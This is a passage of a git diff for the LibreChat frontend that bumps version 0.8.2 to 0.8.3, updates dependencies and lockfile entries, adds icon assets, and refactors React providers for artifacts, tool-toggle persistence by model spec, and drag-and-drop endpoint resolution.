"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/util-utf8/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
@@ -9857,8 +9237,48 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/core/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients/@smithy/smithy-client/@smithy/util-stream/@smithy/util-buffer-from/@smithy/is-array-buffer": ["@smithy/is-array-buffer@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-DZZZBvC7sjcYh4MazJSGiWMI2L7E0oCiRHREDzIxi/M2LY79/21iXt6aPLHge82wi5LsuRF5A06Ds3+0mlh6CQ=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/core/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/fetch-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client/@smithy/util-stream/@smithy/node-http-handler/@smithy/querystring-builder/@smithy/util-uri-escape": ["@smithy/util-uri-escape@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-igZpCKV9+E/Mzrpq6YacdTQ0qTiLm85gD6N/IrmyDvQFA4UnU3d5g3m8tMT/6zG/vVkWSU+VxeUyGonL62DuxA=="],
}
}
diff --git a/client/jest.config.cjs b/client/jest.config.cjs
index 53d4063a0a..1c698d08a3 100644
--- a/client/jest.config.cjs
+++ b/client/jest.config.cjs
@@ -1,4 +1,4 @@
-/** v0.8.2 */
+/** v0.8.3 */
module.exports = {
roots: ['/src'],
testEnvironment: 'jsdom',
@@ -32,6 +32,7 @@ module.exports = {
'^librechat-data-provider/react-query$':
'/../node_modules/librechat-data-provider/src/react-query',
},
+ maxWorkers: '50%',
restoreMocks: true,
testResultsProcessor: 'jest-junit',
coverageReporters: ['text', 'cobertura', 'lcov'],
diff --git a/client/package.json b/client/package.json
index 1c1d201f56..250afc9990 100644
--- a/client/package.json
+++ b/client/package.json
@@ -1,6 +1,6 @@
{
"name": "@librechat/frontend",
- "version": "v0.8.2",
+ "version": "v0.8.3",
"description": "",
"type": "module",
"scripts": {
@@ -38,6 +38,7 @@
"@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0",
+ "@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2",
"@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
@@ -80,7 +81,7 @@
"lodash": "^4.17.23",
"lucide-react": "^0.394.0",
"match-sorter": "^8.1.0",
- "mermaid": "^11.12.2",
+ "mermaid": "^11.13.0",
"micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2",
@@ -93,7 +94,6 @@
"react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0",
- "react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6",
"react-router-dom": "^6.30.3",
@@ -122,6 +122,7 @@
"@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15",
+ "@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5",
@@ -130,10 +131,10 @@
"@types/jest": "^29.5.14",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "^4.17.15",
- "@types/node": "^20.3.0",
+ "@types/node": "^20.19.35",
"@types/react": "^18.2.11",
"@types/react-dom": "^18.2.4",
- "@vitejs/plugin-react": "^4.3.4",
+ "@vitejs/plugin-react": "^5.1.4",
"autoprefixer": "^10.4.20",
"babel-plugin-replace-ts-export-assignment": "^0.0.2",
"babel-plugin-root-import": "^6.6.0",
@@ -144,17 +145,17 @@
"identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2",
- "jest-environment-jsdom": "^29.7.0",
+ "jest-environment-jsdom": "^30.2.0",
"jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0",
+ "monaco-editor": "^0.55.1",
"postcss": "^8.4.31",
- "postcss-loader": "^7.1.0",
- "postcss-preset-env": "^8.2.0",
+ "postcss-preset-env": "^11.2.0",
"tailwindcss": "^3.4.1",
"typescript": "^5.3.3",
- "vite": "^6.4.1",
+ "vite": "^7.3.1",
"vite-plugin-compression2": "^2.2.1",
- "vite-plugin-node-polyfills": "^0.23.0",
- "vite-plugin-pwa": "^0.21.2"
+ "vite-plugin-node-polyfills": "^0.25.0",
+ "vite-plugin-pwa": "^1.2.0"
}
}
diff --git a/client/public/assets/azure-ai-search.svg b/client/public/assets/azure-ai-search.svg
new file mode 100644
index 0000000000..5db3422b9b
--- /dev/null
+++ b/client/public/assets/azure-ai-search.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/bfl-ai.svg b/client/public/assets/bfl-ai.svg
new file mode 100644
index 0000000000..c8556b8557
--- /dev/null
+++ b/client/public/assets/bfl-ai.svg
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/client/public/assets/calculator.svg b/client/public/assets/calculator.svg
new file mode 100644
index 0000000000..440367fe9e
--- /dev/null
+++ b/client/public/assets/calculator.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/google-search.svg b/client/public/assets/google-search.svg
new file mode 100644
index 0000000000..be3c8db3d5
--- /dev/null
+++ b/client/public/assets/google-search.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/maskable-icon.png b/client/public/assets/maskable-icon.png
index 90e48f870b..b48524b867 100644
Binary files a/client/public/assets/maskable-icon.png and b/client/public/assets/maskable-icon.png differ
diff --git a/client/public/assets/stability-ai.svg b/client/public/assets/stability-ai.svg
new file mode 100644
index 0000000000..bdc74a14d6
--- /dev/null
+++ b/client/public/assets/stability-ai.svg
@@ -0,0 +1 @@
+
diff --git a/client/public/assets/tavily.svg b/client/public/assets/tavily.svg
new file mode 100644
index 0000000000..544d55319b
--- /dev/null
+++ b/client/public/assets/tavily.svg
@@ -0,0 +1,3 @@
+
+
+
diff --git a/client/public/assets/web-browser.svg b/client/public/assets/web-browser.svg
deleted file mode 100644
index 3f9c85d14b..0000000000
--- a/client/public/assets/web-browser.svg
+++ /dev/null
@@ -1,86 +0,0 @@
-
-
-
-
diff --git a/client/src/Providers/ArtifactsContext.tsx b/client/src/Providers/ArtifactsContext.tsx
index 139f679003..fd67d5af94 100644
--- a/client/src/Providers/ArtifactsContext.tsx
+++ b/client/src/Providers/ArtifactsContext.tsx
@@ -1,7 +1,8 @@
import React, { createContext, useContext, useMemo } from 'react';
+import { useRecoilValue } from 'recoil';
import type { TMessage } from 'librechat-data-provider';
-import { useChatContext } from './ChatContext';
import { getLatestText } from '~/utils';
+import store from '~/store';
export interface ArtifactsContextValue {
isSubmitting: boolean;
@@ -18,27 +19,28 @@ interface ArtifactsProviderProps {
}
export function ArtifactsProvider({ children, value }: ArtifactsProviderProps) {
- const { isSubmitting, latestMessage, conversation } = useChatContext();
+ const isSubmitting = useRecoilValue(store.isSubmittingFamily(0));
+ const latestMessage = useRecoilValue(store.latestMessageFamily(0));
+ const conversationId = useRecoilValue(store.conversationIdByIndex(0));
const chatLatestMessageText = useMemo(() => {
return getLatestText({
- messageId: latestMessage?.messageId ?? null,
text: latestMessage?.text ?? null,
content: latestMessage?.content ?? null,
+ messageId: latestMessage?.messageId ?? null,
} as TMessage);
}, [latestMessage?.messageId, latestMessage?.text, latestMessage?.content]);
const defaultContextValue = useMemo(
() => ({
isSubmitting,
+ conversationId: conversationId ?? null,
latestMessageText: chatLatestMessageText,
latestMessageId: latestMessage?.messageId ?? null,
- conversationId: conversation?.conversationId ?? null,
}),
- [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversation?.conversationId],
+ [isSubmitting, chatLatestMessageText, latestMessage?.messageId, conversationId],
);
- /** Context value only created when relevant values change */
const contextValue = useMemo(
() => (value ? { ...defaultContextValue, ...value } : defaultContextValue),
[defaultContextValue, value],
diff --git a/client/src/Providers/BadgeRowContext.tsx b/client/src/Providers/BadgeRowContext.tsx
index 40df795aba..dce1c38a78 100644
--- a/client/src/Providers/BadgeRowContext.tsx
+++ b/client/src/Providers/BadgeRowContext.tsx
@@ -1,4 +1,4 @@
-import React, { createContext, useContext, useEffect, useRef } from 'react';
+import React, { createContext, useContext, useEffect, useMemo, useRef } from 'react';
import { useSetRecoilState } from 'recoil';
import { Tools, Constants, LocalStorageKeys, AgentCapabilities } from 'librechat-data-provider';
import type { TAgentsEndpoint } from 'librechat-data-provider';
@@ -9,11 +9,13 @@ import {
useCodeApiKeyForm,
useToolToggle,
} from '~/hooks';
-import { getTimestampedValue, setTimestamp } from '~/utils/timestamps';
+import { getTimestampedValue } from '~/utils/timestamps';
+import { useGetStartupConfig } from '~/data-provider';
import { ephemeralAgentByConvoId } from '~/store';
interface BadgeRowContextType {
conversationId?: string | null;
+ storageContextKey?: string;
agentsConfig?: TAgentsEndpoint | null;
webSearch: ReturnType;
artifacts: ReturnType;
@@ -38,34 +40,70 @@ interface BadgeRowProviderProps {
children: React.ReactNode;
isSubmitting?: boolean;
conversationId?: string | null;
+ specName?: string | null;
}
export default function BadgeRowProvider({
children,
isSubmitting,
conversationId,
+ specName,
}: BadgeRowProviderProps) {
- const lastKeyRef = useRef('');
+ const lastContextKeyRef = useRef('');
const hasInitializedRef = useRef(false);
const { agentsConfig } = useGetAgentsConfig();
+ const { data: startupConfig } = useGetStartupConfig();
const key = conversationId ?? Constants.NEW_CONVO;
+ const hasModelSpecs = (startupConfig?.modelSpecs?.list?.length ?? 0) > 0;
+
+ /**
+ * Compute the storage context key for non-spec persistence:
+ * - `__defaults__`: specs configured but none active → shared defaults key
+ * - undefined: spec active (no persistence) or no specs configured (original behavior)
+ *
+ * When a spec is active, tool/MCP state is NOT persisted — the admin's spec
+ * configuration is always applied fresh. Only non-spec user preferences persist.
+ */
+ const storageContextKey = useMemo(() => {
+ if (!specName && hasModelSpecs) {
+ return Constants.spec_defaults_key as string;
+ }
+ return undefined;
+ }, [specName, hasModelSpecs]);
+
+ /**
+ * Compute the storage suffix for reading localStorage defaults:
+ * - New conversations read from environment key (spec or non-spec defaults)
+ * - Existing conversations read from conversation key (per-conversation state)
+ */
+ const isNewConvo = key === Constants.NEW_CONVO;
+ const storageSuffix = isNewConvo && storageContextKey ? storageContextKey : key;
const setEphemeralAgent = useSetRecoilState(ephemeralAgentByConvoId(key));
- /** Initialize ephemeralAgent from localStorage on mount and when conversation changes */
+ /** Initialize ephemeralAgent from localStorage on mount and when conversation/spec changes.
+ * Skipped when a spec is active — applyModelSpecEphemeralAgent handles both new conversations
+ * (pure spec values) and existing conversations (spec values + localStorage overrides). */
useEffect(() => {
if (isSubmitting) {
return;
}
- // Check if this is a new conversation or the first load
- if (!hasInitializedRef.current || lastKeyRef.current !== key) {
+ if (specName) {
+ // Spec active: applyModelSpecEphemeralAgent handles all state (spec base + localStorage
+ // overrides for existing conversations). Reset init flag so switching back to non-spec
+ // triggers a fresh re-init.
+ hasInitializedRef.current = false;
+ return;
+ }
+ // Check if this is a new conversation/spec or the first load
+ if (!hasInitializedRef.current || lastContextKeyRef.current !== storageSuffix) {
hasInitializedRef.current = true;
- lastKeyRef.current = key;
+ lastContextKeyRef.current = storageSuffix;
- const codeToggleKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${key}`;
- const webSearchToggleKey = `${LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_}${key}`;
- const fileSearchToggleKey = `${LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_}${key}`;
- const artifactsToggleKey = `${LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_}${key}`;
+ const codeToggleKey = `${LocalStorageKeys.LAST_CODE_TOGGLE_}${storageSuffix}`;
+ const webSearchToggleKey = `${LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_}${storageSuffix}`;
+ const fileSearchToggleKey = `${LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_}${storageSuffix}`;
+ const artifactsToggleKey = `${LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_}${storageSuffix}`;
const codeToggleValue = getTimestampedValue(codeToggleKey);
const webSearchToggleValue = getTimestampedValue(webSearchToggleKey);
@@ -106,39 +144,53 @@ export default function BadgeRowProvider({
}
}
- /**
- * Always set values for all tools (use defaults if not in `localStorage`)
- * If `ephemeralAgent` is `null`, create a new object with just our tool values
- */
- const finalValues = {
- [Tools.execute_code]: initialValues[Tools.execute_code] ?? false,
- [Tools.web_search]: initialValues[Tools.web_search] ?? false,
- [Tools.file_search]: initialValues[Tools.file_search] ?? false,
- [AgentCapabilities.artifacts]: initialValues[AgentCapabilities.artifacts] ?? false,
- };
+ const hasOverrides = Object.keys(initialValues).length > 0;
- setEphemeralAgent((prev) => ({
- ...(prev || {}),
- ...finalValues,
- }));
-
- Object.entries(finalValues).forEach(([toolKey, value]) => {
- if (value !== false) {
- let storageKey = artifactsToggleKey;
- if (toolKey === Tools.execute_code) {
- storageKey = codeToggleKey;
- } else if (toolKey === Tools.web_search) {
- storageKey = webSearchToggleKey;
- } else if (toolKey === Tools.file_search) {
- storageKey = fileSearchToggleKey;
+ /** Read persisted MCP values from localStorage */
+ let mcpOverrides: string[] | null = null;
+ const mcpStorageKey = `${LocalStorageKeys.LAST_MCP_}${storageSuffix}`;
+ const mcpRaw = localStorage.getItem(mcpStorageKey);
+ if (mcpRaw !== null) {
+ try {
+ const parsed = JSON.parse(mcpRaw);
+ if (Array.isArray(parsed) && parsed.length > 0) {
+ mcpOverrides = parsed;
}
- // Store the value and set timestamp for existing values
- localStorage.setItem(storageKey, JSON.stringify(value));
- setTimestamp(storageKey);
+ } catch (e) {
+ console.error('Failed to parse MCP values:', e);
}
+ }
+
+ setEphemeralAgent((prev) => {
+ if (prev == null) {
+ /** ephemeralAgent is null — use localStorage defaults */
+ if (hasOverrides || mcpOverrides) {
+ const result = { ...initialValues };
+ if (mcpOverrides) {
+ result.mcp = mcpOverrides;
+ }
+ return result;
+ }
+ return prev;
+ }
+ /** ephemeralAgent already has values (from prior state).
+ * Only fill in undefined keys from localStorage. */
+ let changed = false;
+ const result = { ...prev };
+ for (const [toolKey, value] of Object.entries(initialValues)) {
+ if (result[toolKey] === undefined) {
+ result[toolKey] = value;
+ changed = true;
+ }
+ }
+ if (mcpOverrides && result.mcp === undefined) {
+ result.mcp = mcpOverrides;
+ changed = true;
+ }
+ return changed ? result : prev;
});
}
- }, [key, isSubmitting, setEphemeralAgent]);
+ }, [storageSuffix, specName, isSubmitting, setEphemeralAgent]);
/** CodeInterpreter hooks */
const codeApiKeyForm = useCodeApiKeyForm({});
@@ -146,6 +198,7 @@ export default function BadgeRowProvider({
const codeInterpreter = useToolToggle({
conversationId,
+ storageContextKey,
setIsDialogOpen: setCodeDialogOpen,
toolKey: Tools.execute_code,
localStorageKey: LocalStorageKeys.LAST_CODE_TOGGLE_,
@@ -161,6 +214,7 @@ export default function BadgeRowProvider({
const webSearch = useToolToggle({
conversationId,
+ storageContextKey,
toolKey: Tools.web_search,
localStorageKey: LocalStorageKeys.LAST_WEB_SEARCH_TOGGLE_,
setIsDialogOpen: setWebSearchDialogOpen,
@@ -173,6 +227,7 @@ export default function BadgeRowProvider({
/** FileSearch hook */
const fileSearch = useToolToggle({
conversationId,
+ storageContextKey,
toolKey: Tools.file_search,
localStorageKey: LocalStorageKeys.LAST_FILE_SEARCH_TOGGLE_,
isAuthenticated: true,
@@ -181,12 +236,13 @@ export default function BadgeRowProvider({
/** Artifacts hook - using a custom key since it's not a Tool but a capability */
const artifacts = useToolToggle({
conversationId,
+ storageContextKey,
toolKey: AgentCapabilities.artifacts,
localStorageKey: LocalStorageKeys.LAST_ARTIFACTS_TOGGLE_,
isAuthenticated: true,
});
- const mcpServerManager = useMCPServerManager({ conversationId });
+ const mcpServerManager = useMCPServerManager({ conversationId, storageContextKey });
const value: BadgeRowContextType = {
webSearch,
@@ -194,6 +250,7 @@ export default function BadgeRowProvider({
fileSearch,
agentsConfig,
conversationId,
+ storageContextKey,
codeApiKeyForm,
codeInterpreter,
searchApiKeyForm,
diff --git a/client/src/Providers/DragDropContext.tsx b/client/src/Providers/DragDropContext.tsx
index e5a2177f2d..b519c0171f 100644
--- a/client/src/Providers/DragDropContext.tsx
+++ b/client/src/Providers/DragDropContext.tsx
@@ -1,5 +1,5 @@
import React, { createContext, useContext, useMemo } from 'react';
-import { getEndpointField, isAgentsEndpoint } from 'librechat-data-provider';
+import { isAgentsEndpoint, resolveEndpointType } from 'librechat-data-provider';
import type { EModelEndpoint } from 'librechat-data-provider';
import { useGetEndpointsQuery, useGetAgentByIdQuery } from '~/data-provider';
import { useAgentsMapContext } from './AgentsMapContext';
@@ -9,7 +9,7 @@ interface DragDropContextValue {
conversationId: string | null | undefined;
agentId: string | null | undefined;
endpoint: string | null | undefined;
- endpointType?: EModelEndpoint | undefined;
+ endpointType?: EModelEndpoint | string | undefined;
useResponsesApi?: boolean;
}
@@ -20,13 +20,6 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
const { data: endpointsConfig } = useGetEndpointsQuery();
const agentsMap = useAgentsMapContext();
- const endpointType = useMemo(() => {
- return (
- getEndpointField(endpointsConfig, conversation?.endpoint, 'type') ||
- (conversation?.endpoint as EModelEndpoint | undefined)
- );
- }, [conversation?.endpoint, endpointsConfig]);
-
const needsAgentFetch = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id) {
@@ -40,6 +33,20 @@ export function DragDropProvider({ children }: { children: React.ReactNode }) {
enabled: needsAgentFetch,
});
+ const agentProvider = useMemo(() => {
+ const isAgents = isAgentsEndpoint(conversation?.endpoint);
+ if (!isAgents || !conversation?.agent_id) {
+ return undefined;
+ }
+ const agent = agentData || agentsMap?.[conversation.agent_id];
+ return agent?.provider;
+ }, [conversation?.endpoint, conversation?.agent_id, agentData, agentsMap]);
+
+ const endpointType = useMemo(
+ () => resolveEndpointType(endpointsConfig, conversation?.endpoint, agentProvider),
+ [endpointsConfig, conversation?.endpoint, agentProvider],
+ );
+
const useResponsesApi = useMemo(() => {
const isAgents = isAgentsEndpoint(conversation?.endpoint);
if (!isAgents || !conversation?.agent_id || conversation?.useResponsesApi) {
diff --git a/client/src/Providers/MessagesViewContext.tsx b/client/src/Providers/MessagesViewContext.tsx
index f8f5eef12a..f1cae204a4 100644
--- a/client/src/Providers/MessagesViewContext.tsx
+++ b/client/src/Providers/MessagesViewContext.tsx
@@ -18,7 +18,8 @@ interface MessagesViewContextValue {
/** Message state management */
index: ReturnType['index'];
- latestMessage: ReturnType['latestMessage'];
+ latestMessageId: ReturnType['latestMessageId'];
+ latestMessageDepth: ReturnType['latestMessageDepth'];
setLatestMessage: ReturnType['setLatestMessage'];
